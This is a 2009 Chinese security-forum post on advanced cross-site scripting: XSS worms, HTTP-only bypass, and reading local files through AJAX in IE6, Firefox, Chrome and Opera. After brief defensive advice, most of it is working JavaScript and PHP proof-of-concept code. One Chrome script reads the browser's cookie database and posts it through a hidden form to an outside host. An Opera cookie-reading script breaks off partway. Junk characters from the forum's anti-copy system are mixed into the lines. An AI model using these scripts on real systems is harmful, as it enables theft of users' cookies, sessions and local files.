XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
4 W' Y3 N8 |5 W# \2 x' ^本帖最后由 racle 于 2009-5-30 09:19 编辑
; `% K( @8 c0 Q7 o; Z4 w* G( {0 C9 p3 o# q) Y; U. f0 [ @
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页, D5 @4 \9 M6 g" ^) [7 Y
By racle@tian6.com
/ e6 [0 ~2 F2 e0 [http://bbs.tian6.com/thread-12711-1-1.html& V9 U& h- a& @/ z2 G
转帖请保留版权
; s2 n/ l: V$ H& c
0 n0 z* J1 j# l. {! D. e
, S& j) g' w* |+ ~/ U3 R8 L& v: V8 n w3 X# b" b- b
-------------------------------------------前言---------------------------------------------------------% L, C- S. F; R( Y! Z! K
7 E; I0 f$ e: ^, B( d: e
+ Q9 r5 O7 L4 g' B
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
5 t, `; a b4 ^& N2 p: Q( {! N. Q' M
: ]! t P5 ^+ r/ ]( R如果你还未具备基础XSS知识,以下几个文章建议拜读:% h0 h w+ ]) c5 N! |) K% p
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
2 ]" @( I6 ]6 U: Dhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全0 _8 y/ t+ N# @, f+ K) M- s
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过 Q5 x7 a' |4 W$ c, n/ d- e
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
( P& ]7 M9 x/ L- s3 dhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
( L3 W! g6 I2 o' v2 [0 N) e7 Khttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持% n5 A6 h7 j( l( d
) y' W6 p3 a5 `" ?& y$ {$ f9 N3 s. T) U0 e/ _* i5 b& G% s8 B+ _* A
1 ~; x$ b+ P" M% x' h
3 a5 }, \ N4 k4 f1 s# K6 K
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
& ^ c4 {# h+ s2 c
$ L" M _+ j, C& V" W3 B/ Z希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
* n0 j+ H8 B" _: r3 R1 k. F4 k$ A1 `) r# H0 [
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,* w9 e6 P; G; o9 _
; K. \+ P4 ^8 VBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
% U. @8 z; a0 C$ I$ g# S' t9 S6 C' U2 l+ v; Q9 r& N) {
QQ ZONE,校内网XSS 感染过万QQ ZONE.
- C, x" | E1 P9 \3 T; u
9 ^0 ?2 W% T% J: U4 h% NOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
/ W! A* O0 F9 e' Y: W' O6 W0 e' @+ z; t2 `; l7 ?8 t
..........
, I0 G+ ]; M" z/ E2 ^复制代码------------------------------------------介绍-------------------------------------------------------------. O9 J6 Y' c$ N) S4 K
# i. j8 Q* u" g7 c) q
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
8 v- q G$ ?2 [$ x$ [$ b2 G
" h' H% B8 F' I [6 q& p: F
( L/ c, [. K# T' t$ a5 u) A7 ~
2 R+ W. _% g+ P* o& K N d; A跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
8 k. {, e- X& _3 T& ]3 k1 o2 u! s% r( @: A8 [$ i
5 T% d8 N+ `, z
2 a2 c* }# D- {4 y如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多./ b7 r5 I, O" [& D( N
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
8 D/ k# z6 v! d( N2 Y( U9 E P/ ]) [我们在这里重点探讨以下几个问题:4 l! z: v! B9 Q% \. b+ E* C
. y0 `* L% |3 ?
1 通过XSS,我们能实现什么?/ K! [3 R i5 x
; k9 j0 P& n. b0 W
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
0 K9 z5 v& s& n2 Z8 k; C& h/ l
) X- u H' ]7 [4 V/ V7 d+ U3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
8 m6 D$ j* }2 N4 s( @1 c6 z$ J! ]1 \ r3 w/ w ^
4 XSS漏洞在输出和输入两个方面怎么才能避免.( {( O( g, X# k: S% q7 r' [6 h
/ ]7 m5 T2 M+ p+ g: _
5 B5 w* B. ^) t! {, {! w6 ]% j6 v( f: E* w+ I& L) U; {
------------------------------------------研究正题----------------------------------------------------------9 }2 X* M& `, ~6 S
* X9 I+ o: ]+ g; Z. @" a$ h2 p8 m
" G* [3 O; o$ B3 A; l% g9 K% x1 ^
9 l- v, B1 o1 y( H1 S
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
6 s% {+ r+ W) O$ x: Y复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫2 P' q# D& u+ V2 a% @
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.; L u: {. ^1 r R2 o7 c: Z
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.5 x2 y4 o! N' d) i8 k, {! v
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
+ O7 Q' X, D( C% J! j- i6 h- R3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
: T# g, ?( C1 [4 f4:Http-only可以采用作为COOKIES保护方式之一.
$ ^$ M% @1 T" k
9 A' D+ R- d) m, i7 k7 s V, x4 {: ?$ p8 W
% E% J# ], l: U! D- d) ^+ f9 a
) D+ J$ h% M7 Z+ |
$ v- `& o9 N/ Y5 ^% q(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)) D; q7 E( f- Z/ f, j: H
, [% H, S4 ]: I6 H9 U& h( {
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!) d6 A' }9 c7 [2 h9 b
% Q- i. r5 H" ~4 d, |! m1 b' r6 u$ V( I8 y# L8 Y# B
( Y/ `# i/ t! w 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。4 `( p( ^1 N9 a, r7 q7 i
% R, U* G+ w3 H5 c2 T* r; E7 B" F8 Q0 T* Z/ n
- g! R+ z9 i- I& G' V; {5 z
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
* B+ B; h& Y9 a" _0 G- |0 X
; g% l* o: I) ~4 }% y
) ^, Q* i% g& c7 h0 l; a2 K
. c$ ?- [( J0 l9 Z: r5 a 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
$ L4 O- }+ Z D4 m) C- O6 b9 E) ?复制代码IE6使用ajax读取本地文件 <script>
! w2 ]) S7 W' x/ U H3 q6 R6 T! O8 S z/ v/ n
function $(x){return document.getElementById(x)}: Q/ X8 W, _( v* A. H/ F9 r- B7 x
1 W l4 i# R* {% N2 J
) f( C' _( T6 E$ H2 x: v, F
+ k, N6 L1 R0 { function ajax_obj(){
* ~2 x' \$ l/ t3 `% x7 M" p
+ `( y# P7 G6 c* ` var request = false;$ S3 \: T$ G0 [/ H
$ a5 u8 a9 n* ^ if(window.XMLHttpRequest) {8 `9 o6 g7 x0 k+ X. \/ a2 Y
, W$ F. i1 @0 f+ y" y' V9 L8 m
request = new XMLHttpRequest();, _2 n7 E# b: y
5 T, r0 Y" P; ^8 r/ l/ D+ A
} else if(window.ActiveXObject) {
( J, T$ f7 ]8 a( L7 y1 a; N4 j, _
- i! H% M+ U9 u, S var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
2 c8 f* c& v$ r+ o" n3 F2 E0 e
X3 c) S. r- z5 E2 H4 H) D2 G$ Y: K) U: Z9 P6 p0 k8 T6 ]! @$ h
# k/ [( T- q- X- V 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];4 E, d) t- Z$ `5 j
: b+ U! o5 I6 s- V( A9 d
for(var i=0; i<versions.length; i++) {
" _* P; Z8 R% |0 e+ F: H
0 w8 p" @! P* Y/ C. t try {
& p% J* }* c" _7 ?+ U
5 z0 V9 X& r) W. r) H request = new ActiveXObject(versions);
" c1 Q0 h: F5 W, ]+ z; B/ ^& j- @6 R5 w7 o% V( s
} catch(e) {}
3 c) U+ n2 H5 z( v! K8 z/ N5 z
1 o7 L0 M" Q" O) j# a4 o }! I6 V9 T0 {# c9 L/ x( h+ Z+ @" g
2 F* ^5 e! V% @2 y- Y# o/ L; O }
1 L5 S$ r& T! m8 w9 Q" H# K0 `; @) p: ] n1 X. i; |
return request;
+ [" V9 |5 l# [2 Q5 h) j1 W4 ~ b% x% U& h+ J/ v. O1 X* `
}. j2 x3 H6 U7 [. L/ H
2 K) u# u! g- h var _x = ajax_obj();0 H( S. P8 o/ N% U# {
6 A) S; v; v& h: Z7 ]6 ]- _ function _7or3(_m,action,argv){, ]- w+ P8 X# D$ v
) }" l1 k& Q' S+ B9 M6 q" B6 F _x.open(_m,action,false);$ X/ S' q- {. ]% E1 G3 B! i
6 N: O) p+ x$ S2 T: p if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");1 w; q+ w! R' c7 |7 b
. s# I5 I! o$ u$ u6 q9 i( y _x.send(argv);8 i# T; b$ K' \; e% Z8 w3 I7 [
8 Y5 i( `4 ]9 E$ S( f& S$ e return _x.responseText;
( s8 O+ H! c- L) r* i, C) K+ M6 N# [3 m# L& u
}6 }$ a" Z2 X6 O5 b; f1 @+ E# f Z3 P2 y
! h; s" j# m- [9 F
7 S3 d! f9 q- }- V- X
7 C+ B0 ^" U- J' p' r+ ]8 i$ M( D# i var txt=_7or3("GET","file://localhost/C:/11.txt",null);7 ^6 W2 U/ V" |# o1 c0 `
4 e2 ^+ r a! X alert(txt);4 }( E3 Q, t3 t
; z. g* @) f Q/ u% {5 C5 z
4 x8 l# n% }5 i7 H6 i. A5 A% ?* h
; t% C- X) l* e7 h6 |- Y+ g2 x </script>7 _& ] ^- b- h
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
+ M" i7 z5 f4 z& G6 s
2 u/ C$ X% M3 T- y/ }' s function $(x){return document.getElementById(x)}
# ^$ G( p) e; b1 O: R" `3 V+ x$ A9 s6 S0 W1 a/ x( T$ B3 x
5 w8 B+ ~* V/ K6 c0 [. K4 Z8 d6 L
function ajax_obj(){
, {9 Z# e: P; I4 o, Q# O) s9 @. B
% t: x4 N( B* y. V- \+ \' v var request = false;, P, E# A4 l/ c4 P- e! S
: ], ^9 E2 c( ]# M0 ^ if(window.XMLHttpRequest) {
2 k% @1 j D# o' l* W6 Z4 w' W+ o( P
, K8 W" d$ H( } h: N- G; r request = new XMLHttpRequest();2 k* A A0 o+ V$ T
" Y# X0 e) @2 V9 }& z } else if(window.ActiveXObject) {
; W$ i1 ?- j+ H1 |! n2 e3 l, k6 X& @' W" ?+ V
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
" C9 h$ x4 G* Z8 a' R: Z3 T$ S% K- Y+ P- b& i! r" X
& b ^4 q5 u8 h- m, j! Y/ m0 Q Z& F/ P# {; o
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" t$ F; _. P6 q# v/ l. K- A; I8 r
for(var i=0; i<versions.length; i++) {( p; @) J& o8 V. k5 ?
: P+ Z7 K6 |7 ?
try {
8 c$ I5 u8 t* \; e! \1 C1 R# B
]* U# i4 M' T4 ] request = new ActiveXObject(versions);0 R+ ~ J: k6 F- W4 p) R* b# ~5 Q
) Q! d% x$ K) @9 u2 {/ }0 |6 y } catch(e) {}+ v% T" o4 Z( F G+ ~
/ S' I1 W9 M( W5 F& d: @ }, X* L& C+ c7 y
% O c! k) |, B/ \1 k0 ]
}2 `4 z+ C% d6 p
' F) z8 M2 X! }, s% o: F, G return request;
1 a+ I% b) t1 t* Y; s7 b0 b* D% J9 m$ H5 C# B4 ?0 Z. k. {
}
! B6 n7 ?! m7 v1 d: k
, z0 g- d0 H8 X0 q! C5 ?7 ~4 l var _x = ajax_obj();0 C+ V7 z1 x8 M" C" U* Z8 C
) h0 }! T( j- Y
function _7or3(_m,action,argv){" `# M y$ f- h4 ?5 [" X
! D; c1 x" _% {8 W, I; q% K1 q
_x.open(_m,action,false);# @- F: M' X) @
" |. X s* p8 F
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");$ H5 E/ J! g# ^' q! e$ c7 H
$ U% X( n! Y4 P+ X* K7 ~9 u _x.send(argv);) C* Q# J! [7 [ A, E& B
" }/ n" a: E# U- }, _& `7 X; s2 [- z return _x.responseText;
* o! a) N' h. s: X! V! e) z0 r5 G4 d+ g$ h$ P- b, T p2 r
}
; l' a3 F7 j* }) J3 o8 p
8 H4 s3 U0 Y, Z- J( G
3 j, w' B* @( p8 `& `, _( z3 m
* i7 T) j( U' R n var txt=_7or3("GET","1/11.txt",null);' @- u& R" v" S8 d) T6 {/ i
. w% T3 }4 I0 p) R alert(txt);
) v3 x& I& E7 i# Q6 m
+ c& C6 O# E1 @6 h
) N/ {# S1 Y' K4 }7 p* ]
" t- a+ T& m/ _* I4 W ]2 E8 {- E </script>
1 F# f5 r$ N. I- [复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”8 K) d# I& f( Z, i
2 v* Q/ ^4 w* {/ Z; w& T8 O: E7 @ A6 X- z& Z. V% e, O" R
0 U% I7 i0 n( D3 l" g3 A% O( M
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 {) p O+ h8 \; b' g* g+ R! ]/ }* d3 h J2 R6 _
/ Q i4 I2 T6 |1 B' b
* @% W' d+ a, |2 T/ {# N+ l<?
" `4 [1 S% @+ R! s Q6 z4 Z
! G1 h8 f8 t. l) O; y& P/*
4 m5 O8 o/ p* D J8 W/ c* L# b" _
5 |2 A0 C G" p$ R( e! k" c Chrome 1.0.154.53 use ajax read local txt file and upload exp
9 x9 ~! l' k5 \3 F
; U3 R. B% b A1 I% a! s8 \ www.inbreak.net 7 W# F9 c# W- E8 C) a- s
5 p2 k9 t! h/ y' {$ s0 Y author voidloafer@gmail.com 2009-4-22 ! r/ o: ?. z0 }2 e
7 q9 k# b, \0 @% m http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
- I6 L0 e6 a5 o+ z% G9 V
, n3 I0 l0 F/ h( T; y( @8 d. I; l$ t*/
. W+ _+ h4 q5 C8 T# I+ U2 G! Z
7 T# X* o" \+ s1 v6 a4 r5 J2 @header("Content-Disposition: attachment;filename=kxlzx.htm"); 6 T8 s& k4 D9 O6 @5 [
% G' }; H, @, v9 i5 e4 B
header("Content-type: application/kxlzx"); ( Z2 c# f+ O3 y; z, I! K
# _& C7 \( S1 m1 ]" n9 X7 k
/* + I" G6 L1 H, F
1 _0 T. s; P+ ?$ w! u2 j2 I4 b set header, so just download html file,and open it at local.
% [4 S) @' C, m3 I7 l0 T% t2 m e/ B; t
*/ ) r6 p/ _2 Z/ U4 O& u @. {
2 H9 R8 m" q9 y; l' x4 K, F8 e?> : T7 i; Q! p+ R7 s0 c9 J
0 C# X8 l( k$ a<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> % K8 m Y0 \$ t2 L8 X: }7 _. }
# v% ]. `5 g9 p5 ^. M" X <input id="input" name="cookie" value="" type="hidden">
, z& b: B1 p: O$ s% b, L( d& X% \/ u, ]0 {0 X" u
</form> / Z9 J1 d) U) a+ `
$ [5 e% o7 ?2 ]6 f" E$ X) N<script>
, O- R: c: w6 L' z7 T7 Z, l! v! l* s9 b* s4 \* \2 C5 `
function doMyAjax(user) W" Q) P9 C, j+ T
0 H$ e, \/ h. }6 e0 g* g% t" H6 }
{
. F z2 U+ B1 R/ s) [
) P- U: a1 }4 Cvar time = Math.random();
1 F$ P" B0 E4 G! l1 S6 L, Y" e' C, Q- i
/*
. P0 M! @0 \0 p- l2 q# J5 m$ a! o: C7 R" d7 x' F
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
, j! Z$ {7 E3 X0 t; o$ m. m S' b4 {0 e- A7 d: ?" k8 Y2 B
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 7 o+ j6 G% Q- V2 `# P/ `
7 Z% m" ~: W0 g
and so on... : s! O& E: N* e4 \7 x
. H9 L8 x O# m: \7 n3 U; a*/
7 d3 H# X# ]/ Y5 }, l- W9 B3 g
# U0 N9 G' O6 c3 e+ h/ dvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; . x& O: K) ]1 p! T! }3 x
8 L8 u4 S1 N3 }( j' q# n
4 Y% \' q# U" Z3 I( e/ N
7 q, Q# P0 l8 m+ H# BstartRequest(strPer);
9 M7 g1 k/ s6 V, ^
7 D8 ]! ]1 Y: |8 P5 s+ N" b% r/ O% b: o1 a
/ l7 c( z: m' J. M L& W}
0 X9 O: z4 z4 b) y$ W
$ _) u2 f/ s$ Y1 t1 h+ \
% b0 ]+ {- O- }' L
# L8 c& P+ G- z9 P# g2 b$ b% vfunction Enshellcode(txt) 9 m1 k F$ b; x* J" M5 z
) f5 v( H% w9 ~( I; H. ^
{ ' m* B: T: [& d b* P
' Q$ `' S- [* wvar url=new String(txt);
3 R% O- g" G! Z8 y( z
6 Y5 y0 R+ A0 }5 J7 L. \var i=0,l=0,k=0,curl="";
W/ H" l) u1 O
8 r- y2 `4 Q% F$ [8 H2 il= url.length;
& ?" K) j1 D3 N$ O3 i3 ^/ h1 [& l
for(;i<l;i++){ ( r; v1 y+ K, z0 ^2 F2 B7 O) T
4 z; v! S8 ?2 q# }2 r \# e+ ]' y
k=url.charCodeAt(i);
/ m( O9 T. f5 C5 P. H7 {+ g7 W
+ D' x* ^: G6 W2 @if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
7 l: v8 B/ y( D0 b5 V( R! |1 `& {$ o- S. \
if (l%2){curl+="00";}else{curl+="0000";} 7 L3 j4 f0 p5 i8 \) A% v$ O- B3 {
. g/ m @* R1 v9 d* m! ]curl=curl.replace(/(..)(..)/g,"%u$2$1");
# X7 U! J1 }5 n" C
+ s$ ^( q! n* ]0 R! D. Z* |8 mreturn curl;
, F8 t7 C' ^; P" f1 V! b# u, B/ T1 h% O% ~# o
}
: Y% w' B9 q' V( `/ [
5 S( V" v. O' u+ p9 u $ G0 @# K$ d5 Q# ~- T. N e
. @9 p. {4 j$ G1 M% e
1 ]% c4 q G8 U3 _" ~
# {* V7 P; u* Bvar xmlHttp; # g! ] Z' B1 @ [+ J% r4 y6 A. k. U
- z1 \" d" j6 I: H
function createXMLHttp(){
0 Z: K% `& {$ [, M7 Q+ F
$ y; V p, {! s$ l- d. P! n* U if(window.XMLHttpRequest){ # }+ O2 S1 e p
* s/ z) [, G+ y' o# m" y# C5 a; A2 TxmlHttp = new XMLHttpRequest(); 3 O4 G! ?7 ]- C6 E! V; w& }
" B( T! h4 n: B; G; c
} 0 p n1 @% C( j: [; [
' |! l3 P, {* K) |
else if(window.ActiveXObject){
' V# o( b" A$ H$ f1 v! s4 |- A, K7 b4 `7 U$ y
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
/ [/ l; w* Y/ j' y; a) x: O( O) q6 J
}
% b1 r7 T8 B$ M! [/ T9 E. j9 ?+ c1 q6 f9 q* X4 B1 Q, b5 C
}
' Q: c. I+ i+ c- O3 n: a9 z4 @9 U1 Q) v5 r; A% E
8 C: g7 D1 L' B: j
% i6 t$ Q* j1 P8 j6 H: q! o
function startRequest(doUrl){
: a2 D% d }* E& ^* u2 I B& O' l2 l3 `. W9 O7 e
$ r+ Y2 i0 {) A4 f0 d2 d: k
1 A$ P9 i0 _7 A6 A
createXMLHttp();
9 R' ]* S0 Z) v# k0 ^
0 u4 k4 y2 c& t
( T9 c0 O* Q& o, A. Z1 E6 @# Y
- J% H1 ?3 T! i3 {; c: i xmlHttp.onreadystatechange = handleStateChange; 9 k# {3 i* E! @
3 H" R+ t5 C5 M$ y3 M ^" |
% _1 }9 u: Y6 i1 {
W% T0 C/ H3 P+ f$ k; K xmlHttp.open("GET", doUrl, true);
6 E; } A" g1 T! U3 q) l
, Z6 R8 ~! z; R9 q! e* p
' e8 e) [6 U$ }
0 j8 U( c: U% `9 a( | xmlHttp.send(null); 4 g2 C7 R7 N% a2 b2 }7 r
6 C; b* b* o9 X2 r' z% d Q9 x! {- B
/ o& D7 a! i- i; A' a2 T6 t/ V Z
' {! H- D" M2 [& O0 R2 U+ \" g; y
+ |- \( a& W) b& Z! g
} 4 u' }" g) ~5 m" D* e
/ p2 H, X2 ~' S7 B. u5 f
, u N) K+ _7 W3 \/ d1 g7 j5 J
. O m4 r4 l" n2 ~5 B
function handleStateChange(){
6 k; H Q v" H3 Q, Q; m# A' T, y+ P
1 J+ b" p; v$ O& l* A' X9 X if (xmlHttp.readyState == 4 ){
7 w8 }, W5 [. t# `# I G6 A# g1 x$ K4 w4 ~+ |9 J" F
var strResponse = ""; - Z& @( o0 u5 x0 w/ D6 n& m0 T
" h3 Y6 j" n6 f" ^% R6 ~- P. X setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); ( {5 d, G5 ~1 ^" A
, n5 V# R4 ]# {6 M6 H6 O. U
) J6 x) v; P* \2 D8 c% r
, V: [5 r2 i- z& i/ Z4 Q: |) n } % |' p" D1 l) k! {( }: V
9 j, n: c) U% o4 I} 9 Y z6 u9 u+ j A0 }. }
1 h) d) k. a5 M9 m4 ~) ]/ b 9 h+ W3 E* X" P
" |( Y5 j7 u, P) X6 E4 g
) l' L7 u* S- T9 l
, P/ X& n" c" U' E- _- kfunction framekxlzxPost(text) 2 l' x0 a# s4 H# c8 {
; S% p% C7 f( t' T& p% T{
% I9 B/ }% e( n" Q6 _ Y7 L2 ?1 I* G/ {- u( o, P ?
document.getElementById("input").value = Enshellcode(text);
1 k- D0 y, q5 s- n0 b3 A& C) m+ d+ E
2 n( f9 X# A" W3 u document.getElementById("form").submit(); b* [& D9 G' C# _ b; S
7 Z# q& c1 C! ?8 l" y q
} ; n3 l" P% ]8 Y; J% D
8 u" e8 v5 r: [. ]5 V1 h4 f, ~4 S
' t7 N. m3 C4 J+ h" W2 S+ g* J2 V
- M4 q) q# x% N) CdoMyAjax("administrator");
% d: N/ h% p/ M; H% u1 ?/ P- Z
! B5 S7 N, n w" D2 _: [
9 O6 G4 Z. q) Z# `8 D( t
! R, ]# {- Z" ~" j* @</script>
& H8 n# `' n/ @7 }, _8 R- G# ?复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 8 [% ^ f4 Z( B0 o3 o8 q0 @! r/ a% Y
8 o2 b/ F4 D) L% I3 w% ~ ^2 C8 h/ w
var xmlHttp; / f; }$ c( s# n
" j# N0 f% g0 o z" z% G( O! m
function createXMLHttp(){ {% _) `( @, q5 F0 W# Y8 P8 T
# T1 B, p' }- e3 J+ }6 \7 g if(window.XMLHttpRequest){
7 }) N+ o: _9 a; R
! T& P6 t7 U" l2 a5 e- g/ w xmlHttp = new XMLHttpRequest(); 5 U& y5 c7 ? n6 f* X2 C
) k) D* e) E a0 h6 x8 m }
6 s5 @7 ?& f! ^) K' O
8 z8 F+ W7 b& _( z- ^ else if(window.ActiveXObject){
0 |, k2 u/ J& ?9 f. m+ \5 h4 g# _' Z' A; Y! M1 q C% _/ u
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 5 |5 f0 y9 W! `, ~# T/ E0 B
4 p7 z1 t. w, e; U9 N; R- X }
* k& c1 w+ P" P/ g
& ]5 G8 c; j' b5 P}
4 u- l% }9 B/ W n$ k( x l* g1 i2 ?8 p+ g& ^
# D' \: y4 W7 ^3 C9 |% R& d8 S
0 W3 o5 i. @4 T5 U3 `: e) Yfunction startRequest(doUrl){ 5 w7 N% T' @% q3 t
3 i( k# K) o5 {! W( Z. d) n2 K # n' R+ j' {* i' ~
! H# f0 ~9 ?6 x: `* d9 l: { createXMLHttp();
! O n* y% B, ~% D7 d/ }! |+ j1 b" ?) ?0 e% y
, t0 Q p# k; [* j5 o, d
2 ?/ N# Y# @1 L" e$ F4 K xmlHttp.onreadystatechange = handleStateChange; ; c, J7 c7 u O' [. B3 J
7 d& X2 E6 S* ^* r( J
# H" V7 R( q, e$ l; ^
+ Q$ b Z7 V0 W* ? L& |/ C" h0 e5 F( n xmlHttp.open("GET", doUrl, true); ; t* T+ m, N0 Z5 D, x x. t! }
/ t$ g7 Z6 y0 ~+ Y
W0 B8 r2 t, S; p) y9 D6 C- W, z" o
xmlHttp.send(null);
9 D/ Z" n6 X3 k! P* G! a, i/ `9 U. P/ @0 l
' B$ U# C5 i" a& _) N. Y2 D- A3 I
4 A$ J4 }7 C& o* ^
; Z( O: R; k4 I* G; m1 v0 j
% k+ a# o& t1 t
}
, p. p8 G' D; O/ I( m3 v. B% c0 P7 B% d
1 U7 H* Y0 {# J/ q
5 W' }8 o* p, A W2 q6 p! ?
function handleStateChange(){ 2 X4 V# u: r5 W U9 t
, X' y# R# F8 R( e4 e, f9 `; u
if (xmlHttp.readyState == 4 ){ 3 Q- h; {) w' [1 V$ q4 Q4 H
% b! \: J- y8 p6 A
var strResponse = ""; / J# R9 f2 ?/ h0 t
% A# O" s( o2 Q4 x6 _ setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
' U e% e2 y6 E, V4 b, g Q$ j' h1 y8 P+ w9 O) I9 G+ J' D( t
3 V5 Q; H9 w, \8 {8 c; O
?0 Q* r* n' o! X# `0 T( I }
8 ?$ d" z: G/ T5 ? {: |
4 H. D" ^6 e' P- e! ?) g}
) G* J9 I4 { H1 B, r- P" n' a' }6 V
* r* p# h+ k- Q+ S 6 g- g4 D. D. ^5 U. O; k% L* y# y1 m
) h2 h/ I! z/ G/ j' O. l6 b) W& I* `
function doMyAjax(user,file) , @( g8 i+ n7 z" x
' s- u& B# J* W2 H4 g# M{ 9 I6 i$ z* X9 h, Y
" v! e: K7 K, ]
var time = Math.random(); 4 _1 B: u6 i" q$ B+ U$ r
) w3 u. j2 q6 c0 {) C' y& h( Y7 b
9 V9 R, D/ N1 B' _0 U8 f# y
% J N9 L" w5 u# v% n3 v% z% j4 _
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
: ]+ ?+ ?2 R. X5 x7 t* a: ^/ y, O- B* T' D; Q6 @
% Y) `/ b3 l5 L9 R& d
" a% R* G3 R6 T startRequest(strPer); 2 F9 z' I5 o( g* `. g+ ^
& K+ D$ |$ E& @9 s% k$ U5 T
8 E9 j8 l3 j6 c. U4 G& \1 Q7 R9 A' b a8 d1 ?* q) b
} 6 v6 @$ s" d5 g7 i6 @. s
7 a3 {, z7 b% ?2 w+ b
& }) v& d0 N6 _& J l6 k" {( \0 F& D
function framekxlzxPost(text) 2 x, J3 k5 U7 R1 [) ^7 p
9 }, k; p J6 Q* n1 ~
{ 9 I8 D9 v8 v, T7 c3 I" t
